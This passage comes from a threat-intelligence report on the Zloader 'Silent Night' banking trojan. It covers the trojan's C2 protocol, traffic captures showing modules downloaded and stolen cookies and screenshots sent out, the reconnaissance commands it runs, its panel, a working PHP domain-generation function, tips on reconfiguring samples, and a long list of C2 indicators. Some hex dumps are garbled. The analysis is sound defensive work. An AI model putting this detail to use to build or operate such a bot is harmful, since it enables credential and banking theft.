- SBCID_INJECT_STATUS = 11016
- CSR_BOT_FILE = 1000
- CSR_BOT64_FILE = 1001
- CSR_LIBSSL_FILE = 1002
- CSR_SQLITE_FILE = 1003
- CSR_ZLIB_FILE = 1004
- CSR_NSS_FILE = 1005
The "Silent Night" Zloader/Zbot

CSR_BOT32_FILE = 1006
CSR_HVNC32_FILE = 1007
CSR_HVNC64_FILE = 1008
SBCID_LOADER_UPDATE = 11020
SBCID_LOADER_UPDATE_SUCCESS = 11021
SBCID_WEBINJECTS_UPDATE = 11022
SBCID_WEBINJECTS_UPDATE_SUCCESS = 11023
SBCID_LOG_ID = 11030
SBCID_LOG_ID_EXT = 11031
SBCID_LOG_ERR_CODE = 11032
SBCID_LOG_MSG = 11033
SBCID_BC_IP = 11040
SBCID_BC_CLIENTPORT = 11041
SBCID_BC_HVNC_CLIENTPORT = 11042
SBCID_NUM_REPORTS = 100000
SBCID_BOTLOG = 200000
SBCID_BOTLOG_TYPE = 300000
SBCID_SOURCE = 400000
SBCID_TITLE = 500000
SBCID_TIME_SYSTEM = 600000
SBCID_TIME_TICK = 700000
SBCID_TIME_LOCALBIAS = 800000
BLT_UNKNOWN = 0
BLT_HTTP_REQUEST = 1
BLT_HTTPS_REQUEST = 2
BLT_GRABBED_HTTP = 3
BLT_FILE = 5
BLT_COOKIES = 6
BLT_KEYLOGER = 7
BLT_PASSWORD = 8
BLT_SCRENSHOT = 9
BLT_SOFTWARE_MAIL = 10
CSR_POST_MAX_SIZE = 10
CSR_BACKCONNECT_CRYPT_KEY = 0x55
LOG_ID_LOADER_UPDATE = 1
LOG_ID_WEBINJECTS_UPDATE = 3
LOG_ID_INSTALL_NSS_CERT = 4
LOG_ID_CHECK_POST_MAX_SIZE = 5
LOG_ID_BOT_DETECTED = 6
LOG_ID_PELOADER = 7
LOG_ID_PROCESS.Inject = 8
LOG_ID_STEALER = 9
LOG_ID_COLLECTOR = 10
PROCESS_INTEGRITY_UNKNOWN = 0
PROCESS_INTEGRITY_LOW = 1
PROCESS_INTEGRITY_MEDIUM = 2
PROCESS_INTEGRITY_HIGH = 3

Specifically, the following types of messages are processed based on the gate's logic:

Malwarebytes, HYAS - @hasherezade & @prsecurity_ - May 2020 - Version 1.0
Always set:

- SBCID_BOT_ID
- SBCID_BOTNET

New Bot:

- SBCID_OS_INFO
- SBCID_BOT_VERSION
- SBCID_IPV4_ADDRESSES
- SBCID_PROCESS_LIST
- SBCID_INTEGRITY_LEVEL
- SBCID_NUM_MONITORS
- SBCID_MARKER
- SBCID_MD5_BOT
- SBCID_TIMEZONE
- SBCID_WEBINJECTS

Script Report:

- SBCID_SCRIPT_ID
- SBCID_SCRIPT_STATUS
- SBCID_SCRIPT_RESULT

Report:

- SBCID_BOTLOG_TYPE
- SBCID_SOURCE
- SBCID_TITLE
- SBCID_BOTLOG

File request:

- SBCID_GET_FILE
- SBCID_GET_FILE_VER

Log:

- SBCID_LOG_ID
- SBCID_LOG_ID_EXT
- SBCID_LOG_ERR_CODE
- SBCID_LOG_MSG

Ping:

- SBCID_PING
Response padding

To further randomize the signal, each response from the C2 is padded with a random string:

```
In [186]: sr(newbot_request)
Out[186]: 
  {11012: 'b\'123',
   11004: 'b\'x00\'x00\'x00\'x00',
   11011: 'b\',
   11013: 'b\'x01\'x00\'x00\'x00',
   1650751854: 'b\'amv6gqtsl\jbozrunjtmwozyhej\truhewshwhxg\kl\k\wsoasdodow')
```

Traffic analysis

In this section we will follow a flow of a typical network traffic generated by the Zbot, and show how to decrypt the particular parts.

Downloading elements

First, the loader element beacons to the C2, in the attempt to download the core bot. Then, the core bot is loaded and run. It establishes its own connection with the C2: downloads further modules, and runs a thread that is responsible for data exfiltration.

```
3 200 HTTP  Tunnel to 45.72.132:443 705 msexec2756 [#2]
4 200 HTTPS 45.72.132 /web7643/gate.php 220 msexec2756 beacon -> keep alive
5 200 HTTP  Tunnel to 45.72.132:443 705 msexec2756 [#4]
6 200 HTTPS 45.72.132 /web7643/gate.php 675875 msexec2756 download: core bot (i.e., bot32.dl)
7 200 HTTP  Tunnel to 45.72.132:443 705 msexec2756 [#6]
8 200 HTTP  Tunnel to 45.72.132:443 705 msexec2756 [#7]
9 200 HTTP  Tunnel to 45.72.132:443 705 msexec2756 [#8]
10 200 HTTP  Tunnel to 45.72.132:443 705 msexec2756 [#9]
11 200 HTTP  Tunnel to 45.72.132:443 705 msexec2756 [#10]
12 200 HTTPS 45.72.132 /web7643/gate.php 299555 msexec2756 download: hvnc32.dl
13 200 HTTPS 45.72.132 /web7643/gate.php 936366 msexec2756 download: gatts3.dl
14 200 HTTPS 45.72.132 /web7643/gate.php 75299 msexec2756 download: zib1.dl
15 200 HTTPS 45.72.132 /web7643/gate.php 333857 msexec2756 beacon -> process list -> download: webinjects
16 200 HTTPS 45.72.132 /web7643/gate.php 91 msexec2756 [#13]
17 200 HTTP  Tunnel to 45.72.132:443 705 msexec2756 [#16]
18 200 HTTPS 45.72.132 /web7643/gate.php 1922... msexec2756 download: lbot32.dl
19 200 HTTP  Tunnel to 45.72.132:443 705 msexec2756 [#18]
20 200 HTTPS 45.72.132 /web7643/gate.php 134 msexec2756 beacon -> keep alive
21 200 HTTP  Tunnel to 45.72.132:443 705 msexec2756 [#20]
22 200 HTTPS 45.72.132 /web7643/gate.php 94 msexec2756 beacon -> keep alive
23 200 HTTP  Tunnel to 45.72.132:443 705 msexec2756 [#22]
24 200 HTTPS 45.72.132 /web7643/gate.php 313 msexec2756 beacon -> keep alive
25 200 HTTP  Tunnel to 45.72.132:443 705 msexec2756 [#24]
26 200 HTTPS 45.72.132 /web7643/gate.php 187 msexec2756 beacon -> keep alive
27 200 HTTP  Tunnel to 45.72.132:443 705 msexec2756 [#26]
28 200 HTTPS 45.72.132 /web7643/gate.php 221 msexec2756 beacon -> keep alive
29 200 HTTP  Tunnel to 45.72.132:443 705 msexec2756 [#28]
30 200 HTTPS 45.72.132 /web7643/gate.php 119 msexec2756 beacon -> keep alive
31 200 HTTP  Tunnel to 45.72.132:443 705 msexec2756 [#30]
32 200 HTTPS 45.72.132 /web7643/gate.php 3325... msexec2756 download: nsm32.dat
33 200 HTTP  Tunnel to 45.72.132:443 705 msexec2756 [#32]
34 200 HTTPS 45.72.132 /web7643/gate.php 126 msexec2756 upload: path of cert9.dl
```
The first request sent to the C2 is a beacon. It is encrypted with RC4 (key#2) and Visual Encrypt. After decryption we can see its content:

It contains the following elements: header, data, and a random buffer (of random size). The random buffer is used only as a padding. The hash of the data buffer is stored in the header.

The data is composed of records, which carry various meanings. Each record a header, and is identified by its specific ID. The fragment of the panel's code responsible for processing it is given below. The length of the item header is 16 bytes (4 DWORDs).

```php
$list = array();
for ($i = HEADER_SIZE; $i < $dataSize; ) {
    $k = unpack("L4", substr($data, $i, ITEM_HEADER_SIZE));
    $itemSize = $k[3];
    $item = substr($data, $i + ITEM_HEADER_SIZE, $itemSize);
    $itemId = $k[1];
    $list[$itemId] = $item;
    $i += (ITEM_HEADER_SIZE + $itemSize);
}
```

In the presented packet the following items are present: Botnet ID, Bot ID, and a ping item (this request is identified as a ping). Compare the IDs with the complete list available in the earlier part of this report: C2 Communication: Record IDs
The "Silent Night" Zloader/Zbot

Malwarebytes, HYAS - @hasherezade & @prsecurity_ - May 2020 - Version 1.0
The "Silent Night" Zloader/Zbot

After that the malware sends another request, formatted and encrypted by the same pattern like the previous one:

This time it is a request for a module:

Fields marked in red represent the record ID. Fields marked in light blue represent content size. The content size is followed by the content: marked in dark blue.

The C2 responds sending the first PE module. This time the response is encrypted with RC4 only. Decrypted buffer contains the PE per-pended with a 21 bytes long header (containing: the module ID (DWORD), the module version (DWORD), ? (DWORD), the size of the PE (DWORD), and the CRC32 of the PE (DWORD) which is used for the verification), and one NULL byte for padding:
The "Silent Night" Zloader/Zbot

The same cycle (when the malware sends a request, and C2 responds with a particular module) repeats till all the modules are downloaded.

In between, the bot downloads also a configuration file for the webinjests. This file is encrypted with RC4 + Visual Crypt.
The content of `webinfects.txt` follows the standard introduced by ZeuS. After the file content there is a "keep-alive" content appended.
Data exfiltration

After all the modules are downloaded, the traffic contains mostly the exchange ping-keep alive, bot’s reports about performed actions, and exfiltrated data. This time the traffic between the bot and the C2 is all the time encrypted by the same manner as the beacons: RC4 (key #2) + Visual Encrypt.

Sample overview of the captured traffic:

<table>
<thead>
<tr>
<th>Offset (h)</th>
<th>00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F</th>
<th>Decoded text</th>
</tr>
</thead>
<tbody>
<tr>
<td>000000000</td>
<td>C1 C2 CC 69 B9 D5 75 45 1E 60 43 7E F0 47 98 08</td>
<td>🇫🇷ÉiaãouE, 'C~dG...</td>
</tr>
<tr>
<td>00000010</td>
<td>26 B8 2C 35 40 00 00 00 00 01 00 00 00</td>
<td>₺., 58 ............</td>
</tr>
<tr>
<td>00000020</td>
<td>4A E7 13 3E E4 4B F9 BF 79 D2 75 2E 23 48 18 A5</td>
<td>Jć. 6άKůźyNu.#H.Ą</td>
</tr>
<tr>
<td>00000030</td>
<td>00 00 00 00 00 00 00 00 00 00 00 00</td>
<td>........................</td>
</tr>
<tr>
<td>00000040</td>
<td>6B 71 6B 6E 73 6C 63 76 68 71 6F 6C 69 6F 79 7A</td>
<td>kqknslcvhqlloiyz</td>
</tr>
<tr>
<td>00000050</td>
<td>62 72 78 72 6B 6E 72 71 61 6E 67 6B 69 74 76 6E</td>
<td>brxrkknrqangkitvn</td>
</tr>
<tr>
<td>00000060</td>
<td>74 66 62 68 75 6C 73 76 6C 7A 67 71 65 73 78 6D</td>
<td>tbfhulsvizgqexxm</td>
</tr>
<tr>
<td>00000070</td>
<td>6E 68 72 68 66 75 68 6E 79 74 68 64 6F 73</td>
<td>nhrhfuhyndos</td>
</tr>
</tbody>
</table>

Examples of some interesting reports given below.
**The “Silent Night” Zloader/Zbot**

A path of the target file: Firefox certificate database:

<table>
<thead>
<tr>
<th>Offset (h)</th>
<th>Decoded text</th>
</tr>
</thead>
<tbody>
<tr>
<td>00000000</td>
<td>9A B8 OC 22 63 F9 2F 69 28 E4 D6 60 AD E5 38 C3</td>
</tr>
<tr>
<td>00000010</td>
<td>☆8</td>
</tr>
<tr>
<td>00000020</td>
<td>04 35 69 BD B5 2D 5F 0C FE 40 81 98 B4 3E 3A 1F</td>
</tr>
<tr>
<td>00000030</td>
<td>12 27 00 00 1C 00 00 00 04 00 08 00 00 08 00 00</td>
</tr>
<tr>
<td>00000040</td>
<td>77 65 62 37 2D 64 61 6E 11 27 00 00 00 00 00 00</td>
</tr>
<tr>
<td>00000050</td>
<td>1C 00 00 01 4C 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>00000060</td>
<td>2F 61 69 6C 6C 65 73 65 73 65 73 65 73 74 65 72 50</td>
</tr>
<tr>
<td>00000070</td>
<td>41 71 44 1E 68 25 2F 74 9D 6E 8C 00 00 00 00 00 00</td>
</tr>
<tr>
<td>00000080</td>
<td>04 00 00 00 04 00 00 00 04 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>00000090</td>
<td>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>000000A0</td>
<td>19 2B 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>000000B0</td>
<td>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>000000C0</td>
<td>4D 3A 5C 55 73 65 65 72 73 5C 74 65 73 74 65 72 50</td>
</tr>
<tr>
<td>000000D0</td>
<td>4D 66 7A 69 6C 6C 65 73 65 73 65 73 74 65 72 50</td>
</tr>
<tr>
<td>000000E0</td>
<td>4D 66 7A 69 6C 6C 65 73 65 73 65 73 74 65 72 50</td>
</tr>
<tr>
<td>000000F0</td>
<td>50 72 6F 66 69 6C 6C 65 73 65 73 74 65 72 50</td>
</tr>
<tr>
<td>00000100</td>
<td>37 2E 64 65 66 61 75 6C 74 5C 63 65 75 72 50</td>
</tr>
</tbody>
</table>

Malwarebytes, HYAS - @hasherezade & @prsecurity_ - May 2020 - Version 1.0
Report about a successful injection into Explorer:

List of active processes:

```plaintext
Offset (h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000 28 64 04 F2 79 03 99 DF 85 9E 13 72 CD 79 B3 C9 (d.Řy.×kž.řyářt
00000100 8A 73 BB E8 DB 00 00 00 00 00 00 00 00 00 00 00 00 ŠsČU...........
00000200 46 AD 9F 15 9A 67 09 A0 92 02 BC 91 19 2C 49 F3 F.z.l.Ȁ. Ľ.,Io
00000300 12 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .----------+
00000400 77 65 62 37 2D 64 61 6E 11 27 00 00 00 00 00 00 00 00 web7-dan.
00000500 1C 00 00 00 01 0C 00 00 00 54 45 53 54 4D 41 43 48 ..........TESTMACH
00000600 49 4E 45 52 5F 32 45 46 46 31 46 34 30 34 43 30 INE_2EBFF1F408D0
00000700 46 35 44 44 16 2B 00 00 00 00 00 00 00 00 00 00 FSDD.+
00000800 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..............+
00000900 04 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 ........................+
00000A00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........................+
00000B00 19 2B 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........................+
00000C00 49 6E 6A 65 63 74 20 74 6F 20 65 78 70 6C 6F 72 Inject to explor
00000D00 65 72 20 73 75 63 65 63 65 73 73 32 BE 3F 01 12 48 6E or success.?.H;
00000E00 3B 21 36 83 0E F1 CC CC 9B 1E 61 B4 78 B1 07 7E ;!6..ňĚ`.a´źż.
```

Malwarebytes, HYAS - @hasherezade & @prsecurity_ - May 2020 - Version 1.0
Information if the Cookies database was not found:

A longer report containing: 1) stolen Firefox cookies

Malwarebytes, HYAS - @hasherezade & @prsecurity_ - May 2020 - Version 1.0
2) a series of screenshots in JPEG format (each screenshot has a fixed size 500 x 500 pixels)
Those exfiltration operations work in a loop, deployed in one of the threads. In addition to this, malware can receive and execute commands from the C2, deploying some of those operations on demand.

Panel

We will review the latest Control Panel available at the time of writing version 1.0.18 by installing it locally and looking at its capabilities.

Installation

Two interesting features to note:

1. Username Admin is constant
2. RC4 encryption key is set during install and remains constant by design (unless someone changes through DB). This is useful because zloader samples can be clustered based on RC4 keys in the same fashion we cluster Emotet samples on public keys. At the end of this paper we provide a list of all C2s grouped by RC4 keys found in the samples for the past 4 month.
To experience the panel, we need a bot. The easiest way to get one is to replace the config in an existing sample. There are two types of payloads that you may encounter, the general build and unique private builds for premium customers (who pay $4k/month).
The "Silent Night" Zloader/Zbot

For the sample version 1.2.23, the general built has the config at offset 0x29c08 and the config RC4 key at the offset 0x29ef7:

```c
\n```

Regardless of the version, the config can be easily decoded and replaced with cyberchef.io:

Malwarebytes, HYAS - @hasherezade & @prsecurity_ - May 2020 - Version 1.0
The "Silent Night" Zloader/Zbot

Stats

The statistics window shows typical data points for all malware, such as number of bots, markers, etc.

<table>
<thead>
<tr>
<th>Online</th>
<th>Installs</th>
<th>Windows</th>
</tr>
</thead>
<tbody>
<tr>
<td>Current</td>
<td>Day / Week</td>
<td>X32</td>
</tr>
<tr>
<td>Day</td>
<td>1 / 1</td>
<td>0 (0.0%)</td>
</tr>
<tr>
<td>Week</td>
<td>1 (100.0%)</td>
<td>0 (0.0%)</td>
</tr>
<tr>
<td>Dead</td>
<td>0 (0.0%)</td>
<td>0 (0.0%)</td>
</tr>
<tr>
<td>Botnet</td>
<td>1 (100.0%)</td>
<td>1 (100.0%)</td>
</tr>
<tr>
<td>Country</td>
<td>1 (100.0%)</td>
<td>1 (100.0%)</td>
</tr>
<tr>
<td>Version</td>
<td>1.2.23</td>
<td>1 (100.0%)</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Marker</th>
<th>Integrity level</th>
</tr>
</thead>
<tbody>
<tr>
<td>MARKER</td>
<td>MEDIUM</td>
</tr>
<tr>
<td>1 (100.0%) / 1</td>
<td>1 (100.0%)</td>
</tr>
</tbody>
</table>

Malwarebytes, HYAS - @hasherezade & @prsecurity_ - May 2020 - Version 1.0
**Bots**

In addition to the typical bot info, Silent Night also collects network information by running and saving the output of the following commands:

```plaintext
ipconfig /all
net config workstation
net config workstation
net view /all /domain
nltest /domain_trusts
nltest /domain_trusts /all_trusts
```

The bot collects the process list, and allows you to launch SOCKS5/HVNC services via its backconnect server. Interestingly, the port for them is generated at random from C2 and fed to the bot, so in theory, you can tell the bot to open up any port on the backconnect server.
The "Silent Night" Zloader/Zbot

| Bot ID: | DESKTOP-M600AO9_496730749164BAC9 |
| Botnet: | BOTNET |
| Marker: | MARKER |
| Version: | 1.2.23 |
| Country: | -- |
| Time zone: | Pacific Standard Time |
| IP: | 192.168.1.80 |
| OS: | Windows Ten x64 |
| Integrity level: | MEDIUM |
| Num monitors: | 1 |
| Install date: | 14-04-20 03:47 |
| Last seen: | 14-04-20 03:47 |
| Debug: | + |
| Webinjests: | NaN |
| Update: | NaN |
| Last update: | NaN |
| MDS: | d3d3e5ceca5f5c9302656215215d3f32 |
| AV bot: | |
| SOCKS-5: | 0.0.0.0:0 |
| HVNC: | 0.0.0.0:0 |
| Inject status: | |
| Online time: | 00:02:16 |
| Comment: | |

**Backconnect**

<table>
<thead>
<tr>
<th>Stats</th>
<th>Bots</th>
<th>Backconnect</th>
<th>Tasks</th>
<th>Reports</th>
<th>Webinjests</th>
<th>Jabber</th>
<th>Config</th>
<th>DGA</th>
<th>Builder</th>
<th>Updater</th>
<th>Blacklist</th>
<th>Users</th>
<th>Logout</th>
</tr>
</thead>
</table>

**Domains | 0**

- **Network**

- **Process list | 47**

<table>
<thead>
<tr>
<th>Process Name</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>[System Process]</td>
<td>1</td>
</tr>
<tr>
<td>System</td>
<td>1</td>
</tr>
<tr>
<td>Registry</td>
<td>1</td>
</tr>
<tr>
<td>smss.exe</td>
<td>1</td>
</tr>
<tr>
<td>csrss.exe</td>
<td>2</td>
</tr>
<tr>
<td>wininit.exe</td>
<td>1</td>
</tr>
<tr>
<td>services.exe</td>
<td>1</td>
</tr>
<tr>
<td>lsass.exe</td>
<td>1</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>23</td>
</tr>
<tr>
<td>fontdrvhost.exe</td>
<td>2</td>
</tr>
<tr>
<td>Memory Compression</td>
<td>1</td>
</tr>
<tr>
<td>sporisv.exe</td>
<td>1</td>
</tr>
<tr>
<td>MsMpEng.exe</td>
<td>1</td>
</tr>
<tr>
<td>SearchIndexer.exe</td>
<td>1</td>
</tr>
<tr>
<td>taskhostw.exe</td>
<td>2</td>
</tr>
<tr>
<td>CloudExperienceHostBroker.exe</td>
<td>1</td>
</tr>
<tr>
<td>SgrmBroker.exe</td>
<td>1</td>
</tr>
<tr>
<td>winlogon.exe</td>
<td>1</td>
</tr>
<tr>
<td>dwm.exe</td>
<td>1</td>
</tr>
<tr>
<td>shost.exe</td>
<td>1</td>
</tr>
</tbody>
</table>

Malwarebytes, HYAS - @hasherezade & @prsecurity_ - May 2020 - Version 1.0
The reports are geared towards banking theft. The reports could be of HTTP/S traffic, key logs, screenshots, cookies, passwords and mail. Reports could be filtered by botnets, bots, titles, keywords and dates. The functionality is somewhat inconvenient, for example there is now way to go directly from a bot check-in to its reports.
The “Silent Night” Zloader/Zbot

<table>
<thead>
<tr>
<th>Stats</th>
<th>Bots</th>
<th>Backconnect</th>
<th>Tasks</th>
<th>Reports</th>
<th>Webinfects</th>
<th>Jabber</th>
<th>Config</th>
<th>DGA</th>
<th>Builder</th>
<th>Updater</th>
<th>Blacklist</th>
<th>Users</th>
<th>Logout</th>
</tr>
</thead>
</table>

Botnets:

- BOTNET_1
- BOTNET_2

Bots:

- WIN-PC-1
- WIN-PC-2

Title:

- login
- bank
- title

Keywords:

- login
- pass
- password

HTTP + HTTPS

- GD
- Keylogger
- Screenshots
- Cookies
- Passwords
- Mails

<table>
<thead>
<tr>
<th>Date from</th>
<th>Date to</th>
<th>Online</th>
</tr>
</thead>
<tbody>
<tr>
<td>19.03.20</td>
<td>19.03.20</td>
<td></td>
</tr>
</tbody>
</table>

Webinfects

- C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
  - 19:44:01

Malwarebytes, HYAS - @hasherezade & @prsecurity_ - May 2020 - Version 1.0
Jabber

The panel admin can choose to be notified via Jabber about certain events. Triggers could be online status of a bot, arrival of any or specific logs from any or specific bots.

Panel config

The panel configuration is really the bot configuration. Builder address, license key, timeout and C2 addresses are fairly straightforward. It’s important to note that the bot can only communicate via HTTP/S, so if your network requires proxy authentication for web traffic, the bot simply won’t be able to ping back to the C2 (as of version 1.2.25). Thanks to sS55752750 for pointing this out.
Domain Generation Algorithm

Newer releases of Silent Night also support a Domain Generation Algorithm.
The DGA is a function of a date (timestamp) and the bot’s encryption key. Below is PHP code that generates one sample:

```php
function dga2($timestamp, $encryption_key) {
    $domain = pack("L", $timestamp);
    CsirRc4Crypt($domain, $encryption_key);
    $ipWPG = unpack("L", $domain);
    $packed_timestamp_1 = $packed_timestamp_2 = $ipWPG[1];

    $oAXrC = '';
    $counter = 0;

    while ($counter < 20) {
        $char = 97 + abs($packed_timestamp_1 % 25);
        $oAXrC .= chr($char);
        $packed_timestamp_1 += $char;
        if ($packed_timestamp_1 > 0xffffffff) {
            $packed_timestamp_1 &= 0xffffffff;
            $packed_timestamp_1 ^= $packed_timestamp_2;
            ++$counter;
        } else {
            $packed_timestamp_1 ^= $packed_timestamp_2;
            ++$counter;
        }
    }
    var_dump("{$oAXrC}.com");
}
```

Example: https://hbrjmlicbqvxwtn@hotmail.com
### Builder

<table>
<thead>
<tr>
<th>Marker of load:</th>
<th>MARKER *</th>
</tr>
</thead>
<tbody>
<tr>
<td>Botnet:</td>
<td>BOTNET *</td>
</tr>
<tr>
<td>Encryption key:</td>
<td>12345678</td>
</tr>
<tr>
<td>Timeout:</td>
<td>10</td>
</tr>
<tr>
<td>Net delay after install (min):</td>
<td>0</td>
</tr>
<tr>
<td>Self remove:</td>
<td></td>
</tr>
<tr>
<td>Debug:</td>
<td></td>
</tr>
<tr>
<td>DLL:</td>
<td></td>
</tr>
</tbody>
</table>

### Updater

<table>
<thead>
<tr>
<th>Markers:</th>
</tr>
</thead>
<tbody>
<tr>
<td>Botnets:</td>
</tr>
<tr>
<td>Bots:</td>
</tr>
<tr>
<td>Url: *</td>
</tr>
<tr>
<td>Send limit: *</td>
</tr>
<tr>
<td>Enabled:</td>
</tr>
<tr>
<td>Add</td>
</tr>
</tbody>
</table>

Max 10 servers.
The "Silent Night" Zloader/Zbot

### Blacklist

<table>
<thead>
<tr>
<th>Stats</th>
<th>Bots</th>
<th>Backconnect</th>
<th>Tasks</th>
<th>Reports</th>
<th>Webinjests</th>
<th>Jabber</th>
<th>Config</th>
<th>DGA</th>
<th>Builder</th>
<th>Updater</th>
<th>Blacklist</th>
<th>Users</th>
<th>Logout</th>
</tr>
</thead>
</table>

**List of allow countries:**

| BR | EG | US |

**List of block countries:**

| BR | EG | US |

**List of block IP:**

| 89.56.87.231 | 19.56.87.* | 29.56.*.* | ... |

**List of block bots:**

| ACERPC-USGCM2F_4A497D8FA8124C62 | ACERPC-*_4A497D8FA8124CS1 | ACERPC-USGCM2F_* | ACERPC-*_* | ... |

### Users

The Users menu allows for granular user permission management. Potentially, this allows panel owners to delegate tasks or sell access to their bots, which makes each C2 a collaborative environment.
The command and control panel is written in PHP. The version that is distributed to the clients is obfuscated with YAK Pro.
Conclusion

The bot has been designed using the ZeuS code as a template, yet, a lot of work has been put into its modification and modernization. Conceptually, it is very close to Terdot, yet rewritten with an improved, modular design. We don't have enough data to say if the author of Silent Night was previously involved in developing Terdot, or just got inspiration from it. What we can say is that not all similarities among those two come from the common ancestor, ZeuS.

The design of Silent Night is consistent and clean, the author's experience shows throughout the code. Yet, apart from the custom obfuscator, there is not much novelty in this product. The Silent Night is not any game changer, but just yet another banking Trojan based on ZeuS.

Based on the analysis of the bot's configurations, we may confidently say that there is more than one customer of the “Silent Night”. However, comparing the frequency of new builds (based on the variations of the config files) and the different level of sophistication between the actors, we can say that some users are more proficient than others.

Considering the absence of activity on the exploit.in thread where the bot was originally sold and the success of previous campaigns, we predict with moderate confidence an evolution of the bot from something that anyone with a budget can buy, into a vehicle for one group to conduct banking theft at scale.
Client Clusters and IoCs

By extracting the configs from the samples and clustering the C2 addresses around RC4 keys, we were able to discover 20 unique C2 panels. Below is the list of RC4 keys and associated C2 addresses.

41997b4a729e1a0175208305170752dd
- ldhly\.com/wp-parser.php
- 185.180.198[..32/abbyupdater.php
- todiks\.xyz/milagrecf.php
- liangzizhineng\.cn/wp-parser.php
- zgpojzwrb\.pw/gravitels.php
- lifeprimary\.site/wp-parser.php
- botiq\.xyz/milagrecf.php
- nmttxggtb\.press/wp-config.php
- gdxordsb\.icu/wp-config.php
- hwbblyyrb\.pw/wp-config.php
- aqoulepp\.pw/milagrecf.php
- vfgthujbxd\.xyz/milagrecf.php
- bhajkqmd\.xyz/milagrecf.php
- heartsmobileautorepair\.com/redir.php
- hormonas\.comegico\.com\.mx/wp-parser.php
- rswtgmnhf\.pw/wp-config.php
- cristinneese\.xyz/gravitels.php
- apprdbtb\.pw/wp-config.php
- fwgdhdln\.icu/wp-config.php
- dcaiqjgnbt\.icu/wp-config.php
- xyajbocpggsr\.site/wp-config.php
- gynrhcoe\.pw/wp-config.php
The “Silent Night” Zloader/Zbot

- heartsmobileautorepair[.]com/123.php
- zoraokorol[.]xyz/gravitels.php
- xaprgnve[.]icu/wp-config.php
- eoieowo[.]casa/wp-config.php
- marlodubberly[.]xyz/gravitels.php
- horatiobrotherton[.]xyz/gravitels.php
- dierdreswensson[.]xyz/gravitels.php
- rizoqur[.]pw/milagrecf.php
- home[.]comegico[.]com[.]mx/wp-parser.php
- soficatan[.]site/milagrecf.php
- jewellerydesigns[.]co[.]za/wp-parser.php
- nncpsedsb[.]host/wp-config.php
- wlqaqife[.]icu/wp-config.php
- ooygvpxrb[.]pw/wp-config.php
- kuaxbdkvbbmivbxkrrev[.]com/wp-config.php
- artiealtiery[.]xyz/gravitels.php
- axelerode[.]club/stuck.php
- jzfozxqe[.]site/gravitels.php
- ydmfemfe[.]pw/gravitels.php
- pqayjeenbbt[.]icu/wp-config.php
- nurgsozebt[.]pw/wp-config.php
- axelerode[.]host/stuck.php
- msrtuhctb[.]pw/wp-config.php
- japanjisho[.]info/wp-parser.php
- blazeseher[.]xyz/gravitels.php
- gavrelets[.]ru/wp-parser.php
The “Silent Night” Zloader/Zbot

- dhteijwrb[.]host/milagrecf.php
- brewaz[.]club/milagrecf.php
- verobani[.]website/milagrecf.php
- maxbiler.dk/wp-parser.php
- basorkiq[.]host/milagrecf.php
- ltuywjaft[.]icu/wp-config.php
- heartsmobileautorepair[.]com/redir.php
- brihutyk[.]xyz/abbyupdater.php
- avnjila[.]website/stuck.php
- dxdeedle[.]host/gravitels.php
- hopime[.]com/wp-parser.php
- twinsors[.]xyz/gravitels.php
- bwambzt[.]xyz/milagrecf.php
- irfanhaber[.]net/wp-parser.php
- rubense[.]xyz/milagrecf.php
- lgepubbf[.]icu/wp-config.php
- 933988[.]com[.]tw/redir.php
- dcgljuzrb[.]pw/wp-config.php
- siloban[.]pw/milagrecf.php
- fflxcsbtb[.]pw/wp-config.php
- tepbfiafbtt[.]pw/wp-config.php
- luckystatus[.]com/wp-parser.php
- lesson.musicentrance[.]com/wp-parser.php
- ch.theblissbinder[.]com/wp-smart.php
- buhjikey[.]host/milagrecf.php
- jtppbysb[.]space/wp-config.php
- glsunzdf[.]casa/wp-config.php
The “Silent Night” Zloader/Zbot

- barbeyo[.]xyz/milagrecf.php
- leaben[.]pw/milagrecf.php
- ajvwdjtebb[.]pw/wp-config.php
- wgvjbs[.]pw/milagrecf.php

\texttt{dvjh7gly78g3biuh7wgvH8gFJSHF87HI}
- 62.109.2[.]250/gate.php

\texttt{34v5436b4356b4564561}
- far.spargroarr[.]org/tv/x.php
- roo.purcererya[.]org/tv/x.php
- far.spargroarr[.]org/tv/x.php
- roo.purcererya[.]org/tv/x.php

\texttt{s4sd!@dss2QW11sdsdsas}
- adslsticker[.]world/click.php
- adslstickerf1[.]world/click.php
- 213.155.31.199/wwp/gate.php
- adslstickerfone[.]world/click.php
- adslstickerf[.]world/click.php

\texttt{Dkj9DsjvyAdue}
- ffclubs[.]net/erors.php
- iphonexr[.]top/erors.php
- vipstore.pp.ua/erors.php
- vitog502[.]live/erors.php
- iphonexsmax[.]top/erors.php
- vitog502.digital/erors.php
- calife[.]best/erors.php
- happyiphoneusr[.]top/erors.php
- vitog502[.]life/erors.php
- bluecheese[.]top/erors.php
The “Silent Night” Zloader/Zbot

- vitog502[.]world/erors.php

326_M*8*~,2s3252G
- www.deephousesets1.de/music.php
- www.eurodancehitslatm.de/music.php
- www.trancepartysets.de/music.php
- www.danceeuohitslatm.de/music.php

90f1e19e2306648e9e22059d47f36016
- 45.72.3[.]132/web7643/gate.php

03d5ae30a0bd934a23b6a7f0756aa504
- kasfajfsafhashhaf[.]com/web/gate.php
- dsdjfhdsufudhjas[.]com/web/gate.php
- dsjdjsjdsadhasdas[.]com
- dskdsajdsahda[.]info/gate.php
- kdsidsiadsakfsas[.]com
- dsjadjsadjasadjasf[.]info/gate.php
- oajdasnndkdahm[.]com/web/gate.php
- kasfajfsafhashhaf[.]com
- idisaudhasdhasdj[.]com
- kdsidsiadsakfsas[.]com/gate.php
- jdafiasfjafahhsf[.]com
